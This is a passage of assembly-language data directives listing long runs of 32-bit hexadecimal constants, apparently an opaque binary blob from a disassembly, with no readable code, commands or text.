9B17852Ch, 113B98E1h, 78726264h dd 2BC98400h, 478D294Dh, 0A669128Ch, 0FD0B8871h, 4D00BD79h dd 0FED92876h, 74B02D37h, 0F372050Dh, 907BE97Eh, 5914E6ECh dd 85225000h, 0D57F929Fh, 1F820F89h, 0FDA0EBF8h, 441C4D03h dd 23A69414h, 9C5D1804h, 0F4B411h, 8AD04520h, 6414E991h dd 2B16A9A0h, 964D3900h, 4105A733h, 6277C62h, 439C2D8Bh dd 8DF04084h, 0F903C878h, 629F2F1Fh, 0C3280613h, 403CF7DEh dd 0C820A60Ah, 0CC1D3890h, 53064F03h, 0C720002Eh, 6120877Ah dd 0A00E591h, 51848FD4h, 0BD09B6h, 80F5A4A5h, 0C89AFC97h dd 90264001h, 851B0D48h, 1FAB2430h, 81837D62h, 2D95D19Ah dd 0E64443D7h, 0CE45106h, 631712Bh, 0E306C064h, 2F018045h dd 5F76CCB7h, 0F7F0BD27h, 6118C132h, 82F4A7h, 403F1686h dd 0FB00F52Ch, 9017CB6Bh, 52BFE64Eh, 0D9189448h, 434F305Dh dd 60302F78h, 16C1107Dh, 500D37AEh, 77B4C270h, 90C25D02h dd 182D8Ch, 19A57828h, 47E20D10h, 0A3F21C74h, 291B8131h dd 45F42DBAh, 5B190A91h, 91B01AC2h, 0DC5D0189h, 0BB113F1Fh dd 7E25F850h, 0E40D3E1Bh, 0BACD007Ah, 5E6C853Ch, 7700CF9Bh dd 8B8202C2h, 581A4A6h, 0C920EF6Bh, 4EC80350h, 87A4F2Ah dd 51521C01h, 237CA68Ah, 4462822h, 29382BE0h, 9E4F10C3h dd 0FB180A46h, 0EDC1789h, 0B094425Dh, 0A715AB03h, 6993964Fh dd 0FC611FA0h, 290BF632h, 9C7410DEh, 5610D589h, 0FC0015BFh dd 2EDFF30Ch, 3D0BCAEFh, 0DE0712FAh, 0E0D00429h, 7B05CCFFh dd 9D00177Dh, 8E0A0BD8h, 18F71A88h, 1009CB9Eh, 0ECEDC587h dd 45003C94h, 6D4A0F02h, 5A7D54h, 7A47E52h, 0DA7847C9h dd 0EAFA3F00h, 6AB65076h, 48DE2F3h, 8F0E2F70h, 329FC7CEh dd 0EE80EAE3h, 27932E8Ch, 740F0A00h, 0B1D1C3E6h, 3F0CBh dd 919256FBh, 345B8E5Eh, 0EED01301h, 93F5AF2Fh, 2BE7A441h dd 0B5A7F0h, 7B39276Ah, 9CE30F89h, 8065F000h, 7C881B23h dd 0C1850759h, 0A070AE56h, 0F533D5CDh, 0D1785B00h, 0E6014134h dd 215C0FACh, 7BDD882Dh, 6D80A83Bh, 6035BA3Ch, 27F88C4Fh dd 4BE7461Eh, 0D685FB00h, 286B797Bh, 0E043E3h, 0A43A2397h dd 68F7FF84h, 22003B72h, 48F0929Eh, 0F6EA70h, 4B91A84Ah dd 0B980C427h, 833B3A38h, 8CB0EEFAh, 0F4B1D049h, 0CAFE0688h dd 0A0BC65D8h, 1DBA2300h, 0D23E7EEBh, 5F2E0197h, 0BCAD3A5Ch dd 0FDC5201Ah, 0C0120600h, 0AC100BC1h, 4B200013h, 77DC3E2Eh dd 56070C3Ah, 0D6EAB8ABh, 9A648990h, 85C2009Fh, 0AF8A32Eh dd 0C1009D91h, 8B2D2C55h, 6C9769h, 318A061Ah, 0A8D8FC39h dd 0E704EA03h, 0D0E89C5Fh, 3A88513Dh, 61804010h, 0C9B8CB33h dd 6F0115DAh, 0E493C017h, 42C8911Dh, 86F6031Ch, 517159DCh dd 5840D69Ah, 2B05B9F4h, 1CC040A4h, 809E1BC0h, 9D53BADh dd 0E67BF580h, 659CB9D8h, 0B7B2DB01h, 0C5BE7115h, 4412080h dd 9208D001h, 0DE64A800h, 0EAF7AC27h, 831E00E9h, 9D29A33Eh dd 3601722Ch, 1B7026AEh, 0F8EB6A98h, 0ED82B5Dh, 0C3CE024Bh dd 71280E9Ch, 9911640h, 0A501D504h, 93A3D6A6h, 0CDFDE502h dd 84F07A71h, 8E1100D3h, 1DD79EA0h, 26174C21h, 7F00358Ah dd 5D748CAAh, 5C7EBAh, 6B6E8E03h, 2AEE5392h, 0C5421B00h dd 0F162D649h, 0AA11C02Dh, 4D300321h, 0AB05FF00h, 95B7765Fh dd 51CD1467h, 0B5021408h, 0D6AA52Ah, 0C4BF06C1h, 5D020BADh dd 0A06E49A3h, 0F68C489Bh, 90CF0020h, 0FABA606Dh, 8F0009C8h dd 63240C89h, 5F6940h, 99788DABh, 0CA61484Fh, 45ECA800h dd 5D1B9105h, 0A7AF0097h, 0A2516F78h, 8500FE47h, 90452E1Ch dd 2925F74h, 0D577A6AEh, 29E01E15h, 86C13780h, 475B3A7Dh dd 4C32D8h, 6C957F61h, 0A0C788A7h, 1B00A698h, 55742868h dd 843882h, 5C09F672h, 996216D4h, 0A847EA24h, 5F5E750Eh dd 7F526D00h, 6A8F4Eh, 5B735A6Bh, 7024497Eh, 2D5F6C00h dd 99B7DA66h, 79FCB0FDh, 0BAE90E69h, 71FDFE96h, 0F4A5E810h dd 60989328h, 36EA23Dh, 0E30C1462h, 7D9BF00Bh, 3094A8C6h dd 0BD4F0CE2h, 6884836h, 547AAC92h, 225C1400h, 0AAC22E74h dd 6E2F0E83h, 82E0E549h, 4F5E048Eh, 5D3E4404h, 80C34DA0h dd 0A2C0ECBEh, 384CC8Fh, 0B93B385Ah, 1C989F33h, 4B601DDEh dd 0EBA7DD28h, 0C6EE00F0h, 0BA1EA2E7h, 5C805992h, 0C41D1819h dd 0E9FB4070h, 6F018498h, 214C90FAh, 28809B48h, 987929DCh dd 9C034038h, 1244078Eh, 0CCD0C8CFh, 0F5A83ADAh, 0B0B1A280h dd 6F806423h, 12EA7B00h, 9D053C88h, 77F2D7h, 5FFC9A1Bh dd 0EE319BE7h, 41BDAE02h, 873D18h, 75DBFAC6h, 35005DE4h dd 0A269ADFBh, 650CDAh, 0D28CEE8Ah, 0FC2FCFAh, 82F3AF07h dd 0F070EADDh, 10EC68h, 95611218h, 0A03FFDCDh, 8CE359h dd 7ABD296Dh, 493354Dh, 0BF2D7398h, 90278084h, 2C007E99h dd 48F97BC2h, 3D82E80Eh, 533D1872h, 81E90880h, 4B361D7Dh dd 3DCA3Fh, 0ADA66010h, 98BADB22h, 0CB4004Ah, 28DCC645h dd 1650A777h, 0B81225C8h dd 40CA79h, 3A43E644h, 228B0026h, 0F8E19AA1h, 0A5041488h dd 0FBA293B8h, 0C1B21BC1h, 0E4002921h, 929A8h, 0B611FE68h dd 2469CF1Eh, 6AC08307h, 0C8B0A3A7h, 0B0C1DAFh, 6D2E633Dh dd 0C1609B8Eh, 38285B9Ch, 784C5700h, 274D30Ch, 0CFB6001Bh dd 0F09BFDEFh, 0BB005A69h, 53905779h, 3C74641Eh, 70803A60h dd 341AE1B3h, 9C00453Fh, 0CBD7BF1Ch, 59057Fh, 7DB23E74h dd 0AA61AB44h, 5C086A1Fh, 0A024EE07h, 5662EC20h, 0A1C25BAh dd 52A01DC3h, 9E7430AFh, 48A848h, 9CA5FCA0h, 5C67B768h dd 0E500ED2Fh, 0D5C734F7h, 0B0A3D18Ch, 0D9C4F2C8h, 0DB18B40Fh dd 0E4C54EA8h, 5C97BBA3h, 0EA390780h, 0CECA00EEh, 203689F6h dd 0B006B65h, 3CD82398h, 0EE8D7AEh, 0E4F61724h, 0F2701820h dd 3600C2EFh, 1EBBC782h, 1C0DDD0Eh, 80C610AFh, 0E1D1C9BEh dd 8D0B518Eh, 833319B7h, 1CCABA37h, 4DF070h, 43D7C0A6h dd 0D10F8B46h, 0A0CFB5E9h, 0FE7A970Ah, 14D0EC3h, 5ED308h dd 9B7324D2h, 33000A22h, 5F3A9C29h, 1F4B8A6Ch, 0C0255D2Ah dd 18C4BCE4h, 0F800A0F2h, 67B8AE3Eh, 0A9597484h, 90FC98CCh dd 68BF007Eh, 803D330Bh, 3500C31Eh, 0D5D542Fh, 903E717Ch dd 76D20FF3h, 0C6E06505h, 4355E434h, 0C2CB8807h, 82600BC4h dd 1DB95D1Fh, 0CEA91BC1h, 0E5000A56h, 41BB25AFh, 474FA300h dd 7FCAB7F7h, 18827796h, 50A91456h, 1B18B594h, 528898D9h dd 0EE620066h, 9AE96170h, 496988A4h, 0C8F421B4h, 4410ADEBh dd 6D00B429h, 5391577Fh, 375F83BFh, 904E829Dh, 60A3E181h dd 8B00427Eh, 0DF0D6D7Fh, 78206B8Eh, 539089h, 46E1DAA4h dd 0AF9D272Dh, 753E1200h, 0F60A74E9h, 0BEA13B0Fh, 3E7C483h dd 0A6980E08h, 0D1727F66h, 43358005h, 0D400AD6Ah, 0CBB1EDD5h dd 39B2F246h, 0E5882A7h, 24A62D0Fh, 0ACB44820h, 8003947Dh dd 3C164C45h, 751DD8BDh, 338D0050h, 899B2360h, 1367C292h dd 5A00BAA0h, 0C9A7011h, 0C99E9396h, 8100DCB2h, 7825B34Ch dd 0CDB508Dh, 6FBCB453h, 7E0F3928h, 0FE707h, 26B2842h dd 89C88h, 0E4068944h, 0AD00417Eh, 372BF87Ch, 256AB5C6h dd 8928B3h, 41022282h, 61BCBC40h, 8C0BFB79h, 0F4759EDh dd 284D40C0h, 3CA096C5h, 19BE49A7h, 69868F00h, 88B7BF29h dd 706F6200h, 94B9564Eh, 9A5E0B8Dh, 0A09052h, 66D9FE19h dd 0F7E22100h, 0CB01FFBCh, 0E52B07D0h, 0FABDF4h, 74EDD7CEh dd 8EDBDA04h, 42C01C7Eh, 0EE4D04D6h, 22110089h, 0E6593E4Fh dd 633CAC34h, 263780ABh, 97AA4E64h, 5A15001Bh, 1FFE708Ah dd 0B376292Bh, 0BC005C76h, 9B0BE32h, 5CDE964Dh, 5D3F2042h dd 69A32880h, 168D5E89h, 0B5006572h, 9CF315B6h, 7052960h dd 2A761D68h, 49C340ABh, 0DB0794E6h, 1CB4A231h, 6E817250h dd 0D2551965h, 28E2480Ah, 36CD03C0h, 0E0C4E41Eh, 669648h dd 0AAA23422h, 5B914713h, 0E7352707h, 6FD09D84h, 76414652h dd 30761263h, 34A40672h, 2F041061h, 1EE133EDh, 3B5AACC3h dd 54599EACh, 4090961Dh, 3304836Dh, 4400324Ch, 0B6BF8BA0h dd 580E3B12h, 0CD1681F3h, 83801C0h, 400FD7FEh, 12571EC2h dd 3C0E5Ch, 4E1DCDDFh, 0DE0D21h, 67D1D216h, 27AC2A60h dd 3A185048h, 0C3281D2Fh, 52C48302h, 0E6C72AAh, 0B219477Bh dd 3671673h, 8716DCD3h, 9A0B201Fh, 20C9F9C0h, 4B0E85h dd 127598A9h, 3C68E558h, 9B1A3Bh, 705F27C1h, 3C4BDABAh dd 7F1E2E75h, 4C2480B8h, 0F80330BDh, 8A0067FEh, 0FB9787A4h dd 3C8509Ah, 0A1BC812Fh, 0C8BF0AEh, 0BDF67028h, 9785A312h dd 8615884Bh, 3040C7F6h, 0F0084EEFh, 64A057C4h, 5801ED4Fh dd 62CC611Fh, 0B230E51Dh, 59B87Eh, 9A9EDBF3h, 66A5964Fh dd 4D4BBA01h, 0A9E15D24h, 142B4089h, 81CEA4C0h, 0AB1FB900h dd 6227117Ah, 1DB0091h, 2B489032h, 4F06968Eh, 0C0F9CE20h dd 112D4229h, 0BA2130B6h, 91BE7208h, 0B9BC0039h, 0A5FE0B0Dh dd 0C4090043h, 0F8150FBDh, 0A0340B8h, 0C12BCCFh, 0B79EC0AAh dd 884203D2h, 98F3025Bh, 8D4DD1D0h, 0F4FA6538h, 0EF80A109h dd 6BAC005Dh, 418F6Ah, 0A969903Dh, 4FA4652Dh, 87FC1F1Bh dd 1C9A0042h, 0C79AC8C3h, 0B25D81A5h, 40130B58h, 8664801Ah dd 1319345Ah, 834E0282h, 438FCB8Ch, 111868E4h, 0D5396E06h dd 80B882h, 0F79FC2BBh, 0D6010ECBh, 87C17101h, 0F23C3570h dd 9EA1CCh, 9A3772DAh, 0A82D68D4h, 4E065C00h, 6FBB577Dh dd 0B9940509h, 0C13686D6h, 0DC19EB46h, 0E000E9A2h, 0FF397B3Ah dd 8D0A05h, 63146FA3h, 0A2AEACFDh, 67CC8800h, 0E2D8C22Ah dd 4DDF03EFh, 99648319h, 0C5F606D0h, 9FF5B20Bh, 0CFBE803Bh dd 1A8F02Bh, 0C3D221BFh, 0CC4D05FEh, 0B7000BEBh, 5D0F09A5h dd 270E17h, 0E0B5F120h, 2EA6D0B2h, 5B03D03h, 0C1CE525Ah dd 0F02897D6h, 8702B11Eh, 803EC0B8h, 677E8B82h, 4786B600h dd 73907D93h, 40AB0F68h, 85E05652h, 6D97FD09h, 0BE552100h dd 0E5EFFA92h, 0E431025Dh, 1D14DFA9h, 5A9E1C60h, 0E29FD90Fh dd 0BC840ADDh, 0AAA3EE80h, 4CF016h, 27D8FE57h, 0B2FA3101h dd 0DE656F00h, 0B4E2B802h, 24D93821h, 0EAFE6D00h, 82E51CB9h dd 0D2ADA200h, 83A12C72h, 5E8C0063h, 0EBBCB351h, 9B00C202h dd 361DE2B0h, 0F4C6B6Eh, 79106547h, 4D436700h, 5D03582Eh dd 9A119983h, 5F79073h, 78A800E2h, 0A4DE91CFh, 44021989h dd 1428CC90h, 80FF6298h, 0EA7012B8h, 0C83F0056h, 0DE01E4B7h dd 4A0CF80Ah, 0E0F4812Ch, 9D9E01FFh, 0F36D0E21h, 7FB880F7h dd 0B23861C6h, 44F548AEh, 93EB2A00h, 0CCB99C5Eh, 4E0BA704h dd 0BAC0A9B3h, 942F4Ah, 8650131Bh, 85646588h, 5B558701h dd 0C326F5A7h, 0A87820h, 16ABF928h, 7B5E98F8h, 437E8207h dd 84605DB6h, 7BB2776h, 39937CC3h, 58D38157h, 1B80FC61h dd 0E342800h, 7D27F8DDh, 35313996h, 0B88CD980h, 0C6295A6Ah dd 4CF258h, 6B8D0F19h, 77F2015h, 7B082C98h, 0E9992091h dd 511DE5C9h, 0D9007948h, 89169B9Dh, 0C27000EDh, 71A31EB2h dd 0B70E0EF8h, 47D9781Ch, 0BC90E92Bh, 0E91A56F5h, 17977081h dd 0F5C68A62h, 0FEC843D4h, 0CB2EDF88h, 3BEB8F1Ch, 0FC080A40h dd 71DE51B3h, 0E5D60097h, 0E1FF1429h, 80000599h, 0DB11F884h dd 213C54h, 409D3D24h, 0B944A28Dh, 8F0A4300h, 654F6A45h dd 13A40028h, 0A29C02C0h, 0A700B53Dh, 8C8E635Fh, 0DF5E81FDh dd 0D9B1C098h, 9B5C957h, 4D90BD00h, 3E721566h, 6D10E27h dd 93C11EA2h, 0CDDA4461h, 7535F8D4h, 0E40FE84Eh, 0A8971F81h dd 52835800h, 0F8776F1Bh, 82570076h, 7864204Dh, 6201315Bh dd 0F995BBE6h, 0A820E7ECh, 8FAE4CE5h, 4E751F00h, 8FB93442h dd 0B01AC424h, 9CA803Ch, 0D1EDE2A0h, 9B2D00AEh, 6920B313h dd 1A0761B9h, 0C7CD604Ah, 0F876A320h, 97153259h, 446096D8h dd 0E7000D87h, 0D61B0FA5h, 853241h, 4A7888D5h, 0B55754E4h dd 82056090h, 6AB644F9h, 0F337FA07h, 8842A5E2h, 1907DCA8h dd 0FB0CAh, 1B7A76E1h, 0F4F0603Bh, 387E3A47h, 65614Ch dd 1DC9FDF9h, 2DB28C0h, 0EE5FA8CEh, 0F080092Eh, 8FF140B0h dd 1F4BD897h, 4AD89441h, 1B2B65Ah, 8C45E857h, 62030DCh dd 0FAABF500h, 0A2C1D462h, 42A0282Ah, 597CB8h, 874970A9h dd 0C7533ACBh, 2F6E9F00h, 5835CA90h, 3A000BCh, 138EF969h dd 0D400A1EEh, 6C7A163Fh dd 0B2DB66h, 0E9A62D67h, 5CB8219Bh, 0E61B40h, 1461A192h dd 0CF02260Dh, 9E11C100h, 4B22D0E0h, 0BB5101E4h, 29A1DAF7h dd 86D2009h, 65AD0D00h, 16CDFF8Bh, 0D2EA07B6h, 105C8EC2h dd 9DFC7CECh, 0A2EE200h, 75A638D1h, 8E263E69h, 8C52B194h dd 79863F00h, 7664B946h, 5006F78h, 35FF858Fh, 5ACE4C3h dd 7127F370h, 6E3CC095h, 78B2372Bh, 0F0BFB100h, 0AC4596F7h dd 124D00A0h, 0CAE7AD05h, 0FF00BD5Dh, 9547ED93h, 372D5Fh dd 520AC5F7h, 8F508469h, 0DE1D2F04h, 0D3C015B9h, 23940A3h dd 7113AE02h, 0D8E0CBD2h, 0A61E4830h, 847565Bh, 0B3904185h dd 0C935A62h, 54CE8DBFh, 4E3F50C8h, 53AD0051h, 0E52C63AFh dd 657F003Fh, 0D8AB78F2h, 0CD3098DCh, 0F60CD0C1h, 0EC608293h dd 0D3090E3Bh, 48BE36F9h, 4F5FC0h, 0CE64CBA3h, 0FC35546h dd 0BE413100h, 94C2E402h, 0ED160220h, 25E3CCE9h, 5B8994E0h dd 4FC2Fh, 0F7D8B200h, 0CC0E009Eh, 0DBB3C7A2h, 0D0791F6h dd 60A0B1Eh, 5A1B6080h, 6B079EBh, 2873DA07h, 1871104Ch dd 56CA7900h, 9E4485FAh, 0D42F008Dh, 0CEF4B1BCh, 7317B30Bh dd 5040470Eh, 5809CB9Fh, 0E91507BBh, 8FC5FEC8h, 64866DE0h dd 7C7F3C06h, 35397F00h, 29769188h, 1747E2B9h, 0B5EC04h dd 67E2CAAEh, 9714B233h, 2EC108F1h, 0B12C9DD0h, 0FCBE6A02h dd 2CA4C07Ah, 3DC77199h, 9A1E049Bh, 0EAD6004Fh, 777E0FABh dd 953B8A14h, 1D0503FDh, 1F2B34BFh, 41CD6BB6h, 66D27DBh dd 828C408Fh, 0E006788h, 0FD62C3FEh, 4734D8h, 0B8F4D486h dd 2E33DED6h, 407A8409h, 64A400E4h, 142432D7h, 0FFD426F2h dd 28E51E72h, 609540DFh, 0DEF3FECCh, 0D75EDA0Eh, 0C06C2C38h dd 0EEA13D87h, 0C4AA8905h, 0E49C807Eh, 0E00F6E5h, 0D31D70BFh dd 0C08BC8h, 0CC108A4h, 9ABBC01h, 0B8173Fh, 4B24B1CEh dd 3F3167h, 4E6EA634h, 1C746B8Fh, 8093123Ah, 25549778h dd 0A7876Ch, 0E1C683EEh, 0B486ABF2h, 0A201BF00h, 0AA47385Eh dd 22B0076Eh, 74719825h, 77CE8161h, 0C7D8D733h, 0C473A245h dd 0B6865D30h, 5F6D85FFh, 43248020h, 0A13FBE06h, 0BCB400F7h dd 7356A9EDh, 96540340h, 6C0AA5DBh, 1CE0E9E2h, 0B00B301h dd 7EA82A5Bh, 432026h, 0F98A7027h, 0DEA909C7h, 111FE575h dd 0FCE62819h, 22B71504h, 381D6C80h, 7D84E51h, 0B36C6EC0h dd 57D8D263h, 43E26F74h, 4A616600h, 9F515DBFh, 1D680024h dd 333F7CB7h, 7400978Eh, 6C8C872Fh, 0E59E5573h, 2286C20h dd 53201E2h, 0D661B09Ah, 5920C4D8h, 0C6CF9h, 0FF018D63h dd 0A04158h, 0CE115E37h, 0F5A8E79Ah, 57D0D700h, 3CCAB59Dh dd 884600B4h, 0CDFCF2D2h, 0F403A818h, 6F5A1DFh, 0C8E4EBAEh dd 3191245h, 669A52BDh, 73826A0Bh, 2C6E20E0h, 0C822C204h dd 0F48013E8h, 0F411E3h, 0EE419801h, 0AE1E78D8h, 0F7DF9B04h dd 0BF87B8C6h, 0CF2ADEB0h, 7D0100F6h, 604071ABh, 24482FEFh dd 80AD3A4Ch, 0CF2E93ECh, 2501416Eh, 0D083998Eh, 98A07E7Bh dd 5B25E054h, 0C4448005h, 26C6A9C9h, 60ECF599h, 183F6998h dd 0F6B87400h, 0E884A9FCh, 780E27D3h, 0E39E0800h, 6D0F9AF1h dd 58BC5DD1h, 216AF51h, 9751ABB2h, 42E0C39Ch, 100B0865h dd 60B188CCh, 0E0F134D4h, 0E8BB04CAh, 0E0335227h, 1716CBC8h dd 3501C0FEh, 7871C16Dh, 0B828B3FDh, 1F352100h, 0EFE89F99h dd 0A50E51F0h, 0E011CFAFh, 0A9E785EDh, 0CE200A2h, 559BDBFFh dd 0DE709EBAh, 9CDCFA07h, 0A0BFBB3Eh, 7252FE15h, 0AF3042Dh dd 0E482A345h, 4D4F1374h, 2FA8F040h, 749B0278h, 4FCE1817h dd 0F9A1811h, 65E8F8F8h, 18681228h, 975DA407h, 0C0915829h dd 0CAF5202Fh, 9BA25CCh, 569AAB1Fh, 38C5B0C1h, 36CE839Ch dd 27591C07h, 58289C78h, 25BB9198h, 0B47800Eh, 0D2BF60A2h dd 43F9CAEh, 639AF678h, 2024F296h, 2003F164h, 14EF6800h dd 0E5D286Ah, 4E900053h, 8BD41997h, 48F03798h, 9D6B9503h dd 58A82B74h, 4100D049h, 0ED5040EBh, 691D27B9h, 630610A5h dd 1998B542h, 30BEFC8Ah, 2C9DFC0Dh, 65FBE200h, 7D27909Ch dd 9E260619h, 0C98F5C51h, 0B168BD00h, 1EC88560h, 99C0531h dd 801C25FEh, 44652C6h, 0B9E3DE00h, 1261D920h, 3DBA144Dh dd 2C008C5Ch, 4C9CC8B4h, 66032190h, 284F14E4h, 9B2A33Fh dd 459EB1B9h, 4BC52420h, 0CC036613h, 0C920ECAEh, 2B891982h dd 70F83189h, 0F5008FB0h, 33320C79h, 0C21D5C6Ah, 372A5168h dd 100185Eh, 85238C0h, 2CE06Ch, 3A3EEDA6h, 422F4BB8h, 5E1F5716h dd 0ADC08D00h, 775D9AEh, 8967AAB0h, 74C300F2h, 0F800347Eh dd 0FD6D3F95h, 5C9AF0h, 279E12Eh, 0DBD3A440h, 804E1B00h dd 4B212404h, 0F8171AEh, 8251EFDFh, 78E2F880h, 40000339h dd 0ECB297FAh, 0F8195DFBh, 0FC912406h, 324C00C7h, 3FAD8D26h dd 0BA9F2C00h, 0C80AE041h, 61FD0FCAh, 961F910h, 60ECC90Fh dd 6E00F856h, 7A39C7A1h, 741B071h, 84828B37h, 3C8AD0DAh dd 8900A236h, 3A0CCCC4h, 7F99903h, 38F1CA08h, 0B11B5034h dd 41001389h, 274D8B8Ch, 0DA8821h, 0B5AD9A7Eh, 1A03FC44h dd 4007B10Eh, 94BD4AAFh, 9A650423h, 442142Bh, 0ECC88FFAh dd 70510D3h, 0A7DA5ED1h, 6AC5F047h, 760069ADh, 0C80EA318h dd 0FA3DA1F4h, 147A5006h, 53C64469h, 84D00C44h, 42608022h dd 9B81115h, 0E308DC21h, 8481905Dh, 0B8481041h, 0D8A57641h dd 5102D02h, 8C48942h, 0D9AE445Bh, 3A1F64A0h, 0E308A089h dd 529B065h, 319A2804h, 44A06C44h, 0F144FF52h, 386544C2h dd 814884Ah, 9D90F8F4h, 2131378Eh, 2BC0454h, 42C908D9h dd 302529A6h, 98C47848h, 697429F5h, 0B8CE2200h, 6B1C3634h dd 761A7755h, 1B370076h, 0B521586Ah, 0EFB013FCh, 0D90086FCh dd 916E7388h, 7996687h, 5E224A96h, 5A9D50EEh, 2500777Eh dd 39AE3BFAh, 2B511h, 740468DEh, 59C78ED7h, 5CDA7300h dd 94D5E5E9h, 0C48700A0h, 2ECD2634h, 31007E20h, 8157BD61h dd 1097D0Eh, 0DB97B1FAh, 706CF5DCh, 0F11ED3F2h, 7E805D51h dd 0D9D83DCAh, 78A3035Ch, 0A64552C4h, 0E90743B8h, 9AF1B0Fh dd 1115C0ACh, 1C6A17Bh, 62E7123Bh, 6074F2CBh, 8C12C2C6h dd 6400411Bh, 60FED713h, 0A09600D2h, 14EB0CF8h, 5F0175E3h dd 7ADB6405h, 0C8FC4504h, 7F650331h, 812D1EEh, 8A073FB0h dd 27A57400h, 0C066B07Ch, 0E44F0CB1h, 8EB01C01h, 0C2DAFA00h dd 5473FCDFh, 0E80A010Bh, 83AD7815h, 546C48Ch, 0F300117Ah dd 0DBE1E99h, 291C2Ch, 0C3A62592h, 56C0E4A0h, 96FD5E3Dh dd 611F60B7h, 0CDB9CB00h, 92C7AAh, 0DD6CA4A0h, 2582A238h dd 3BBAB800h, 4DCD991Ah, 7324009Eh, 62E1E601h, 65013D42h dd 0E6BBE16h, 845069D6h, 0FC1D8DDFh, 578E000Ah, 892228DEh dd 2001EC6h, 5B94D764h, 7588CFAh, 36837C47h, 481DBFFh dd 0C46B79A0h, 0D003F933h, 0D0124E0h, 0B841B099h, 55E00ADh dd 81877EBBh, 0DD00EDCDh, 6E7FD56Fh, 83FB2Ah, 0CB3AFFDEh dd 7B0E62B5h, 0EE0055E2h, 0FD16B7CCh, 0E56041h, 0AF4FD88Eh dd 73C40817h, 0D6EEE403h, 0F80252F8h, 155CC9h, 0CF9DB6Eh dd 17A81938h, 92129E00h, 1E542D5Fh, 60E3005Eh, 0E4E93DB5h dd 941E24A8h, 0DF002CFDh, 0BA01E6AFh, 0A71EDh, 6E89EAF7h dd 79FF329Eh, 0BE5E6400h, 9C7C8E49h, 3B540030h, 27BA8239h dd 0DD00336Fh dd 0C284D5D2h, 0E609C674h, 2233966h, 8E40CEB0h, 8F0017C3h dd 90382B27h, 113495Ah, 4DCF3F26h, 0D06EBB03h, 770069BFh dd 7571C304h, 0D60592h, 0A835B9Eh, 4716910Eh, 55B4D20Eh dd 3DAB8046h, 7AB896E7h, 635F07F0h, 8060248Ah, 4A6F0E32h dd 9A34DF00h, 19C8DC68h, 0D898C7h, 232920EBh, 89E2D256h dd 26EA2B00h, 0E3E73015h, 0EB1C0788h, 80962381h, 3F8EB1F7h dd 0B4A5662Eh, 0A3F4F60Fh, 3AF673Eh, 956BEB10h, 0DB909D62h dd 0ED0073E3h, 2B810D68h, 3F3C597Ah, 0D49C767Eh, 4042879Ch dd 0D0EAC073h, 17574B5h, 0AAB8709h, 971003E0h, 6E30E892h dd 0E5310EC7h, 35403C80h, 0FDDC75F7h, 9E253404h, 18C01723h dd 0F69322Dh, 83F4A091h, 2FEF80BEh, 71A9701Dh, 0F3579000h dd 4784727Bh, 6BBB003Ah, 7E1BBEC4h, 187AF4E1h, 8973EB38h dd 0ABC6561h, 0FF00CC90h, 0C182CA8Ch, 840800D6h, 6A215625h dd 515931FBh, 3C5E017Ch, 1C17C4B4h, 1D941030h, 8FAB41EBh dd 3000FAFCh, 0CFCE4E66h, 18AB50Eh, 2FB9A0E8h, 7965411h dd 31D5377h, 0D1D337EEh, 0E0FAC663h, 0C2003B8Bh, 683945AAh dd 1F420A7h, 50295F56h, 0D8C317C1h, 6D07E212h, 0F0BDCAA3h dd 0AC23A240h, 0F2DE00C2h, 35FA360Bh, 967F4A59h, 5E20DB00h dd 0A18AAE5Dh, 7D9F000Eh, 5A6D4CE9h, 0DD0DA629h, 0E06AC3DBh dd 0D21ADCh, 0D4640C02h, 0F0EDFA88h, 0B4DBC802h, 40BAC677h dd 75B5F8CFh, 6BB707F4h, 0E1129876h, 0E0D995E1h, 0BFEC8030h dd 2B245875h, 220E1CF8h, 0C0ABCFA9h, 713F702Fh, 7EA0A005h dd 6044003Ch, 0A9BF90B7h, 4A3AE8C6h, 0BC7D8076h, 45E9C5A6h dd 0FE23005Dh, 0C80A4950h, 3A581C86h, 0D4A0349h, 88328BC9h dd 0CF6580h, 77F70B22h, 0C3D1FC4h, 0AF071A7Ah, 0A5C7282Ah dd 0A76F4860h, 0B7390046h, 6B872DD6h, 0C600CE8Fh, 73BFD5F8h dd 51C8133h, 1DB2FA3Bh, 0DFC82052h, 8000560Bh, 0FD6DA76h dd 4CC6539Ch, 0A71EF0C8h, 0FFE9C0EFh, 6571356h, 336C470Eh dd 0E6D16085h, 1EF5F0Bh, 25C20997h, 201D6FCDh, 32CA0754h dd 0AE008396h, 0D9429D33h, 7DE305FEh, 838E40D7h, 15F80F22h dd 0D0009097h, 0A3439A08h, 1C2A99Eh, 3FCF92E7h, 0DD1130E6h dd 0D5A7D4F0h, 42E1F00h, 0A199D4F6h, 7145090Bh, 0AB80877Ah dd 0E5B49DDh, 6E213401h, 22165ABDh, 7FE296h, 7D23117Ch dd 0E600081Eh, 9DB1A54Dh, 33489B0h, 0C235882Ch, 22A00FEBh dd 0D40046CCh, 0CB55AB92h, 33F6E99h, 0CD19FF28h, 58F02CE4h dd 2B15B2EAh, 0F8A7FBh, 0E87C3476h, 3D0DA84Fh, 82807F12h dd 171581BEh, 410F7E0Fh, 0BBE57Dh, 6F84E0C9h, 5516005Eh dd 83E1CE5Fh, 0EC006370h, 0D703074Ch, 83ED02CFh, 19D17A90h dd 49B2CA03h, 88F18310h, 0B7BC82h, 4B2AE779h, 97ADA29Fh dd 0A198B50Fh, 7DF16731h, 0FF2D0140h, 0C7C40739h, 90AE11F0h dd 71EEF492h, 0A023ECF1h, 0E5412A00h, 0DFD1AFA2h, 4EE600C2h dd 0C6BF168Dh, 5D04672Fh, 8FF74B8Ch, 0D0D15EC1h, 496430h dd 939580B1h, 0AFB9669Fh, 0BBE3E800h, 653EA4DBh, 0A93B07D2h dd 3D33AE9h, 81902402h, 0F209DC5Ah, 7EFBE6A4h, 0AEE80078h dd 3A36DE50h, 0F18BD600h, 0EC657B33h, 8C670E51h, 35C02A5Eh dd 6DBC95C3h, 698ED900h, 0C98A321Fh, 3EA63B8Fh, 42BE6700h dd 0EE5A5283h, 0EA013B7Ch, 0B95D222Eh, 0FFD0C6A4h, 7D1E01B2h dd 358B72BEh, 3802F4EBh, 9127E502h, 62D5B742h, 4B20682Eh dd 2C90041h, 0A8C334F6h, 0F4FA0D0Bh, 0C4464F00h, 2209FCAFh dd 0C9360002h, 1F6F1B97h, 3E0085C6h, 841A95D1h, 0C08FC720h dd 74C58A10h, 20B01282h, 4C140300h, 70E10469h, 3AC40E6Ch dd 8660F9B1h, 95EF6A36h, 0D468A800h, 5DE81AE5h, 12D07207h dd 0C27D7Ch, 0C117F2E8h, 0CC9822F6h, 2328A201h, 80E0C83Ah dd 2BDFFD0h, 1E822DC6h, 8E0550Fh, 